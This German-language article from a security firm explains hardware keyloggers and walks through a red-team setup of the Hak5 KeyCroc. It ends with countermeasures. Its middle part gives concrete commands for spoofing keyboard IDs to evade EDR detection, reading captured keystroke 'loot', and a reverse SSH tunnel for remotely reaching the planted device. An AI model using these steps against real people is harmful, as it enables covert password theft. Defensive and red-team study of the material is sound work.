Keypoints
So funktionieren Hardware-Keylogger
- Eine Untersuchung des Zwecks und der Funktionsweise von Hardware-Keyloggern
- Wie Hardware-Keylogger konfiguriert und installiert werden
- Veranschaulichung des Prozesses der Erfassung von Tastenanschlägen
- Erkennung und Verhinderung von Hardware-Keyloggern
Im Bereich der IT-Sicherheit entwickelt sich die Bedrohungslandschaft ständig weiter, wobei Hacker immer raffiniertere Methoden anwenden, um sich unbefugten Zugang zu sensiblen Informationen zu verschaffen. Zu den verdeckten Werkzeugen, die von den Angreifern eingesetzt werden können, gehören Hardware-Keylogger, die als unauffällige Geräte entwickelt wurden, um Tastenanschläge heimlich zu erfassen. Aufgrund ihrer Unauffälligkeit und ihrer Fähigkeit, jeden Tastendruck abzufangen und aufzuzeichnen, stellen diese Geräte für Unternehmen ein Risiko dar. In diesem Artikel tauchen wir in die Welt der Hardware-Keylogger ein und untersuchen ihre Funktionsweise, mögliche Anwendungen und die Massnahmen, die zum Schutz vor dieser Form des Angriffs erforderlich sind.
Das später in diesem Artikel beschriebene Angriffsszenario basiert hauptsächlich auf einer Insider-Bedrohung, bei der ein Angreifer einen Hardware-Keylogger einschleust, um vertrauliche Daten oder Kennwörter abzugreifen.
Was ist ein Hardware Keylogger?
Hardware-Keylogger sind physische Geräte, die zwischen der Tastatur und dem Computer angeschlossen werden. Sie zeichnen Informationen direkt von der Tastatur auf, bevor sie das Betriebssystem des Computers erreichen. Auf diese Weise ist der Angreifer in der Lage, Passwörter, Anmeldedaten und andere vertrauliche Informationen unbemerkt zu erfassen. Sie können die aufgezeichneten Daten intern in ihrem eigenen Speicher speichern oder sie drahtlos an einen entfernten Standort übertragen, um sie abzurufen. Hardware-Keylogger können schwer zu entdecken sein, da sie physisch zwischen der Tastatur und dem Computer befinden. Dadurch unterscheiden sie sich von Software-Keyloggern, die durch Antiviren-, Anti-Malware-Scans oder EDR-Lösungen entdeckt werden können.
Um einen Hardware-Keylogger von Grund auf selbst zu bauen, gibt es verschiedene Anleitungen, wie die von spacehuhn, keelog oder RedBulletTooling. Alternativ können auch fertige Keylogger von seriösen Herstellern erworben werden. Hak5 und O.MG gehören zu den bekannten und vertrauenswürdigen Herstellern in diesem Bereich. Leider handelt es sich bei kommerziellen Keyloggern meist um Closed Source. Daher ist es, selbst wenn der Hersteller allgemein als vertrauenswürdig eingestuft wird, unerlässlich, das Gerät einer detaillierten Analyse zu unterziehen, indem man die Funktionen überprüft.
![KeyCroc Hardware Keylogger KeyCroc Hardware Keylogger](/labs/images/key_croc_hardware_keylogger.jpg)
Wer verwendet Hardware Keylogger?
Verschiedene Akteure können Hardware-Keylogger installieren, jeder mit seinen eigenen Motiven und Methoden. Hier sind einige mögliche Szenarien:
- insider-Bedrohungen*: Insider-Bedrohungen stellen ein erhebliches Risiko für die Unternehmenssicherheit dar, da Personen mit autorisiertem Zugriff auf sensible Systeme ihre Privilegien für böswillige Zwecke ausnutzen können. In diesem Zusammenhang kann ein Angreifer, sei es ein verärgerter Mitarbeiter, ein Unternehmensspion oder ein kompromittierter Insider, Hardware-Keylogger als Mittel der Wahl einsetzen
- Angriffe mit physischem Zugang: Angreifer, die unbefugten physischen Zugang zu einem System haben, wie z. B. Wartungspersonal oder Angreifer, die die physische Sicherheit beeinträchtigt haben, können Hardware-Keylogger installieren. Sie nutzen unbeaufsichtigte oder anfällige Geräte aus, um die Keylogger unauffällig zu installieren
- Angriffe über die Lieferkette: Hardware-Keylogger können bereits bei der Herstellung oder im Vertrieb installiert werden. Dies geschieht, wenn ein Angreifer die Lieferkette manipuliert und Geräte kompromittiert, bevor sie die Endnutzer erreichen. Diese manipulierten Geräte werden dann unwissentlich in einem Unternehmen eingesetzt, was es dem Angreifer ermöglicht, sensible Daten zu sammeln
- Social Engineering: Angreifer können Social-Engineering-Techniken einsetzen, um Personen dazu zu bringen, unwissentlich Hardware-Keylogger zu installieren. So können sie sich beispielsweise als IT-Support-Mitarbeiter ausgeben und Mitarbeiter dazu bringen, ein bösartiges USB-Gerät anzuschliessen, das den Keylogger enthält.
- Abfangen während des Transports: Während des Transports können die Geräte oder Peripheriegeräte, die an ein Unternehmen geliefert werden, abgefangen und manipuliert werden, so dass der Angreifer einen Hardware-Keylogger implantieren kann, bevor das Gerät den vorgesehenen Empfänger erreicht
Es ist wichtig zu wissen, dass die Hardware-Keylogger unterschiedlich ausgefeilt sein können. Einige können unauffällig in das Gerät oder die Peripherie integriert sein, so dass sie visuell schwer zu erkennen sind. Ausserdem können Keylogger die erfassten Daten aus der Ferne übertragen, wenn sie über WLAN- oder mobile Datenverbindungsfunktionen verfügen
Ein Beispiel eines Angriffs
Die zuvor genannten Szenarien sind ideal, um bei einem Red Team Einsatz zu simulieren. In den folgenden Abschnitten erläutern wir, wie der Hak5 KeyCroc effektiv als Keylogger fungieren kann, der Tastatureingaben aufzeichnet und den Fernzugriff erleichtert. Es ist jedoch wichtig, darauf hinzuweisen, dass der KeyCroc über die Aufzeichnung von Tastatureingaben hinaus noch weitere Funktionen bietet. Dazu gehören Keystroke Injection, Geräteemulation, Pattern-Matching-Payloads, Netzwerk-Hijacking, Wi-Fi-Konnektivität und mehr. Darüber hinaus hat Hak5 mehrere Keystroke-Injection-Beispiele auf seinem GitHub-Repository bereitgestellt.
![KeyCroc, Originalquelle: https://shop.hak5.org/products/key-croc KeyCroc, Originalquelle: https://shop.hak5.org/products/key-croc](/labs/images/key_croc_product.gif)
KeyCroc Konfiguration
Bevor der KeyCroc verwendet werden kann, sind einige Konfigurationsschritte erforderlich. Die folgenden Kapitel ergänzen die HAK5 KeyCroc Dokumentation. Ausserdem sollte das Verhalten des Keyloggers gründlich überprüfen, z. B. auf unerwünschte Kommunikation überprüft werden.
PID/VID ID Cloning
Der KeyCroc mit der Version 1.3_513 klont nicht die VID (Vendor ID) und PID (Product ID) der Tastatur. Ohne Cloning, wird der KeyCroc von modernen EDRs erkannt.
![Standard KeyCroc wird von EDRs erkannt, Originalquelle: Microsoft Defender for Endpoint Standard KeyCroc wird von EDRs erkannt, Originalquelle: Microsoft Defender for Endpoint](/labs/images/key_croc_mde_detection.png)
Um dieses Verhalten zu korrigieren, empfehlen wir die folgenden Schritte:
Anpassung der Standard-VID und PID
Mit den folgenden Schritten kann die standardmässige KeyCroc VID und PID geändert werden.
- Aktivierung des arming mode, indem die Scharfschaltungstaste auf der Rückseite des Geräts mit einer Büroklammer gedrückt wird.
- Falls aktiviert, deaktivieren des geschützten arming mode in der
config.txt
durch Hinzufügen eines Hashtags vor ARMING_PASS: #ARMING_PASS
- Verbindung aufbauen mit der seriellen Konsole
- Ausführung von
cd /usr/local/croc/bin
cp ATTACKMODE ATTACKMODE.bak
nano ATTACKMODE
- Suchen nach
vid_default="0xF000"
und Änderung zu der gewünschten VID - Suchen nach
pid_hid_only="0xFF01"
und Änderung zu der gewünschten PID - Testen der verschiedene Tastaturen und überprüfung, ob die VID und PID mit der Änderung übereinstimmen
Wir empfehlen, auch die Standard-VID und PID für den Speicher und die Netzwerkkarte zu ändern
Behebung der Cloning-Funktionalität
Die folgenden Schritte sind notwendig damit Cloning-Funktionalität des keyCroc funktioniert
- Aktivierung des arming mode, indem die Scharfschaltungstaste auf der Rückseite des Geräts mit einer Büroklammer gedrückt wird
- Falls aktiviert, deaktivieren des geschützten arming mode in der
config.txt
durch Hinzufügen eines Hashtags vor ARMING_PASS: #ARMING_PASS
- Verbindung aufbauen mit der seriellen Konsole.
- Ausführung von
cd /usr/local/croc/bin
cp croc_framework croc_framework.bak
nano croc_framework
- Suche nach:
ATTACKMODE HID "${params}"
- Entfernen der Anführungszeichen oder ersetzen des obigen Textes durch:
ATTACKMODE HID ${params}
- Testen der verschiedene Tastaturen und überprüfung, ob die VID und PID mit der Änderung übereinstimmen
Allgemeine Einstellungen
Dieser Schritt muss nur einmal durchgeführt werden, bevor das KeyCroc Gerät verwendet werden kann.
- Aktivierung des arming mode, indem die Scharfschaltungstaste auf der Rückseite des Geräts mit einer Büroklammer gedrückt wird
- Auswahl der korrekten Sprachdatei und Speicherung im Sprachenordner des KeyCroc. Da wir hauptsächlich in der Schweiz tätig sind, mussten wir die Datei
ch-de.json
selbst erweitern - Verchieben der Datei
example_payload.txt
aus dem Ordner payloads
in den Ordner library\examples
, da sonst das Wort world
an jede Eingabe des Wortes hello
angehängt wird - Änderung der Variable
DUCKY_LANG
in der config.txt
Datei auf das Zielperson Tastaturlayout - Hinzufügen der Variable
ARMING_PASS
in der Datei config.txt
, inklusive eines Passworts. Ohne das Scharfschalt-Passwort kann der KeyCroc in den Scharfschaltmodus versetzt werden, ohne dass vorher ein Passwort eingegeben wird. Wir empfehlen die Verwendung eines Scharfschalt-Passworts während eines Einsatzes, da der KeyCroc sensible Daten der Zielperson enthalten kann
Wir haben den KeyCroc mit den folgenden Tastaturen getestet:
- Logitech® Illuminated Keyboard Y-UY95 (Kabel)
- Logitech K120 for Business Y-U0009 (Kabel)
- Logitech Ultra-Flat Keyboard Y-BP62a (Kabel)
- Dell KB216 Wired Keyboard KB216 (Kabel)
- Dell USB Entry Keyboard SK-8115 (Kabel)
- CHERRY Corded Device JK-85 (Kabel)
- Logitech® Unifying Receiver (USB-Dongle nur mit Tastatur: Logi K540 Y-R0012)
KeyCroc in Aktion
- KeyCroc zwischen Tastatur und Computer einstecken. Wir empfehlen ein USB-Verlängerungskabel zu verwenden
- Sobald die grüne und die magentafarbene LED aufhören zu blinken und keine LED mehr leuchtet, kann die Tastatur wie gewohnt benutzt werden und die Tastenanschläge werden aufgezeichnet. Wenn die weisse LED leuchtet, wird keine Tastatur erkannt.
![KeyCroc in Aktion KeyCroc in Aktion](/labs/images/key_crocin_action.jpg)
Wie man das Loot Log ausliest
- Aktivierung des arming mode, indem die Scharfschaltungstaste auf der Rückseite des Geräts mit einer Büroklammer gedrückt wird nach dem man das Arming Mode Passwort auf der Tastatur eingegeben hat
- Die LED am Gerät sollte nun blau blinken
- Öffnen vom USB-Gerät namens KeyCroc und navigieren zum Ordner
loot
navigieren- Dieser Ordner sollte zwei Dateien enthalten, eine mit
raw
und eine mit char
im Dateinamen - Normalerweise sollten man in der Lage sein, den Inhalt in der Datei mit
char
im Dateinamen einfach auszulesen - Bei Verdacht dass nicht alle Zeichen in der
char
-Datei korrekt umgewandelt wurden, kann man die raw
-Datei öffnen und überprüfen was die effektiv aufgezeichneten Tastenanschläge waren
![Loot Log Beispiel Loot Log Beispiel](/labs/images/key_croc_loot_example.png)
Das PowerShell-Skript keycroc_char_analysis.ps1 kann Helfen Kennwörter oder andere Informationen schnell aufzuspüren.
Remote Verbindung über das Internet zum KeyCroc
Das folgende Proof-of-Concept beschreibt, wie man sich per SSH über das Internet mit dem KeyCroc verbinden kann.
POC-Voraussetzungen
- Ein KeyCroc
- Ein Mobiltelefon oder ein Gerät, von dem deine WLAN Hotspot und eine mobile Datenverbindung eingerichtet werden kann
- Eine SIM-Karte
- Ein Remote SSH-Server
Prepare the KeyCroc
- Aktivierung des arming mode, indem die Scharfschaltungstaste auf der Rückseite des Geräts mit einer Büroklammer gedrückt wird.
- Aktivierung von Wifi – Leerzeichen und Sonderzeichen müssen mit Leerzeichen versehen werden.
- In der Datei
config.txt
muss die Variable WIFI_SSID
hinzugefügt werden mit einem passenden Namen für die Zielumgebung. Z.B. Rabbans\ IPhone
- In der Datei
config.txt
muss die Variable WIFI_PASS
hinzugefügt werden mit einem sicheren Passwort
- Erstellung eines SHH Schlüsselpaars
ssh-keygen -t ed25519 -m PKCS8 -C "$(whoami)@$(hostname)-$(date -I)" -f ~/.ssh/id_ed25519_home
- Der Privatkey wird auf dem KeyCroc für die Anmeldung am Remote SHH-Server verwendet.
Remote SSH Server
- Erstellen eines Benutzers, welcher sich beim remote SSH Server anmelden darf. Der zuvor erstellte public key muss zum zu authorized_keys hinzugefügt werden
sudo useradd -m keycroc
sudo mkdir /home/keycroc/.ssh
sudo touch /home/keycroc/.ssh/authorized_keys
sudo chown -R keycroc:keycroc /home/keycroc/.ssh/
sudo chmod 700 /home/keycroc/.ssh
sudo chmod 600 /home/keycroc/.ssh/authorized_keys
sudo nano /etc/passwd
- Anpassung der Datei
/etc/passwd
für die Benutzerumgebung definition welche wie folgt konfiguriert werden kann keycroc:x:1010:1011::/home/keycroc:/usr/sbin/nologin
Vorbereiten eines Geräts für die mobile Datenverbindungen
Im folgenden Beispiel wird ein Android-Telefon mit einem mobilen Datenverbindungstarif verwendet. Wir empfehlen die Verwendung einer Tastatur zur Konfiguration des Telefons.
Das Telefon sollte verschlüsselt sein und ein starkes Passwort zum Entsperren des Telefons verwenden.
- Installieren von Termux von GitHub. Die Version auf dem Google Play Store sollte nicht verwendet werden
- Installieren der folgenden Pakete
pkg upgrade
pkg update
pkg install openssh
pkg install screen
- Benutzernamen Abfragen mit
whoami
- Setzen eines Passworts mit
passwd
- Bildschirm-Sitzung starten mit
screen
- Erlauben des Dateizugriffs mit
termux-setup-storage
- Starten des SSH-Server auf dem Mobiltelefon. Für einen ersten Test kann der SSH-Server im Debug-Modus mit
sshd -e -d -d -d
gestartet werden - Verbindung aufbauen mit dem remote SSH Server über
ssh -N -R 42022:localhost:8022 -p 50022 -i /data/data/com.termux/files/home/storage/downloads/keycroc-openssh-privkey.ppk keycroc@$SHHServerIP
- Um die Verbindung zu automatisieren, kann ein Cron-Job hinzugefügt werden, welcher ein Bash-Skript auslöst, mit dem überprüft werden kann, ob die Verbindung aktiv ist. Ein weiterer Cron-Job könnte die Verbindung alle 30 Minuten zurücksetzen.
Herstellung der Verbindung zum KeyCroc
- Verbindung vom remote SSH-Server zum Mobiltelefon über
ssh u0_a255@localhost -p 42022
- Verbindung zum KeyCroc über
ssh root@192.168.43.30
![Remote Verbindung zum KeyCroc Remote Verbindung zum KeyCroc](/labs/images/key_croc_over_ssh.png)
Gegenmassnahmen
Um das Risiko von Hardware-Keyloggern zu verringern, können folgende Massnahmen ergriffen werden:
- Zugangskontrollen: Es wird empfohlen, strenge Zugangskontrollen zu implementieren, um die Benutzerrechte zu begrenzen. Dadurch wird sichergestellt, dass nur autorisierte Personen Zugang zu kritischen Systemen und Daten haben
- Hintergrundüberprüfungen: Es wird empfohlen, gründliche Hintergrundüberprüfungen der Mitarbeiter durchzuführen
- Bewusstseinsbildung der Mitarbeiter: Es wird empfohlen, die Mitarbeiter über die mit Hardware-Keyloggern verbundenen Risiken aufzuklären, indem Schulungsprogramme zum Thema Sicherheit durchgeführt werden. Es sollte betont werden, wie wichtig es ist, wachsam zu sein und alle verdächtigen Aktivitäten oder Geräte zu melden. Durch Förderung einer positiven Sicherheitskultur, indem wachsames Verhalten belohnt wird und die Bedeutung von Vertraulichkeit und Datenschutz betont wird, kann ein Gefühl von Verantwortung und Eigenverantwortung bei den Mitarbeitern geschaffen werden. Auch das Reinigungspersonal sollte in diese Bemühungen einbezogen werden. Wenn sie jemanden bemerken, der sich nach Feierabend verdächtig verhält, sollten sie dies melden
- Überwachung und Erkennung: Es wird empfohlen, Überwachungs- und Erkennungssysteme einzusetzen, die abnormales Verhalten oder Anzeichen von unbefugten Hardwareänderungen erkennen können. Es sollte eine Regel festgelegt werden, um ungewöhnliche Änderungen der VID- (Hersteller) oder PID- (Produkt) ID der Tastatur zu überwachen, wenn sich das Gerät im Büro befindet. Normalerweise stellen Unternehmen ihren Mitarbeitern nur eine Tastaturmarke zur Verfügung
- Vorfallreaktion: Es wird empfohlen, regelmässig Reaktionspläne für Zwischenfälle zu entwickeln und zu testen, die auch auf Insider-Angriffe mit Hardware-Keyloggern ausgerichtet sind. Dadurch wird eine schnelle und wirksame Reaktion gewährleistet, um die Auswirkungen zu mildern und eine weitere Gefährdung zu verhindern
- Physische Sicherheit: Es wird empfohlen, physische Sicherheitsprotokolle durchzusetzen, um unbefugten Zugriff auf Systeme und Geräte zu verhindern. Es sollten Büros und Serverräume gesichert, der physische Zugang zu sensiblen Bereichen beschränkt und Geräte auf Manipulationen überprüft werden. Der Zugang sollte auf das IT-Personal beschränkt sein, da dieses oft das erste Ziel sind
- Authentifizierungsmethoden: Es wird empfohlen, nur authentifizierte Methoden wie Smartcards, Microsoft Hello for Business oder FIDO 2.0 in kombination mit MFA zu verwenden, anstatt die Mitarbeiter zu zwingen, ihre Passwörter wiederholt für Anmeldungen zu verwenden
Fazit
Zusammenfassend lässt sich sagen, dass Hardware-Keylogger eine Bedrohung für die Sicherheit von Unternehmen darstellen können, da sie heimlich Tastatureingaben abfangen und aufzeichnen können, wodurch sensible Informationen ausgelesen werden könnten. Dieser Artikel hat einen Überblick über Hardware-Keylogger, ihre Angriffsszenarien und ein technisches Beispiel gegeben, das ihre Funktionsweise veranschaulicht. Um den mit Hardware-Keyloggern verbundenen Gefahren zu begegnen, ist es für Unternehmen entscheidend, einen umfassenden Ansatz zu verfolgen. Technologische Sicherheitsvorkehrungen spielen eine wichtige Rolle bei der Risikominimierung. Technologische Massnahmen allein sind jedoch nicht ausreichend. Unternehmen müssen auch der Schulung und Sensibilisierung ihrer Mitarbeiter Vorrang einräumen. Es ist wichtig, eine positive Sicherheitskultur innerhalb der Organisation zu fördern, die Bedeutung von Sicherheitsmassnahmen zu betonen und die Mitarbeiter zu ermutigen, sich aktiv an der IT-Sicherheit zu beteiligen.
Ausserdem sollten Unternehmen ihre Mitarbeiter wertschätzen und ein Umfeld schaffen, in dem sie sich wertgeschätzt und motiviert fühlen. Dadurch wird die Loyalität gefördert und die Wahrscheinlichkeit von Insider-Bedrohungen verringert. Durch die Förderung eines positiven Arbeitsumfelds können Unternehmen das Risiko minimieren, dass Mitarbeiter zu bösartigen Aktivitäten übergehen. Schliesslich ist ein effektiver Rahmen für die Reaktion auf Vorfälle von entscheidender Bedeutung, um Keylogger-Vorfälle umgehend und effizient zu bekämpfen. Die Erstellung klarer Protokolle und Reaktionspläne, die Durchführung von Übungen und die Aufrechterhaltung starker Kommunikationskanäle innerhalb des Unternehmens ermöglichen eine schnelle Erkennung, Eindämmung und Lösung von Keylogger-Vorfällen. Durch die Kombination dieser Massnahmen können Unternehmen ihre Abwehr gegen Keylogger verbessern, die Risiken von Angreifern mindern und ihre IT-Umgebung besser schützen.
Über den Autor
Marius Elmiger hat seit den frühen 2000er Jahren Erfahrung in verschiedenen Rollen als Administrator, Engineer, Architekt und Consultant gesammelt. Sein Fokus lag hauptsächlich in der Implementierung von komplexen IT-Infrastruktur Projekten, Umsetzung von Sicherheitskonzepten und Compromise Recoveries. Später wechselte er zur offensiven Seite, um sein Wissen weiter auszubauen. Als Grundlage neben zahlreichen Zertifikaten absolvierte Marius ein MSc in Advanced Security & Digital Forensics an der Edinburgh Napier University. (ORCID 0000-0002-2580-5636)
Links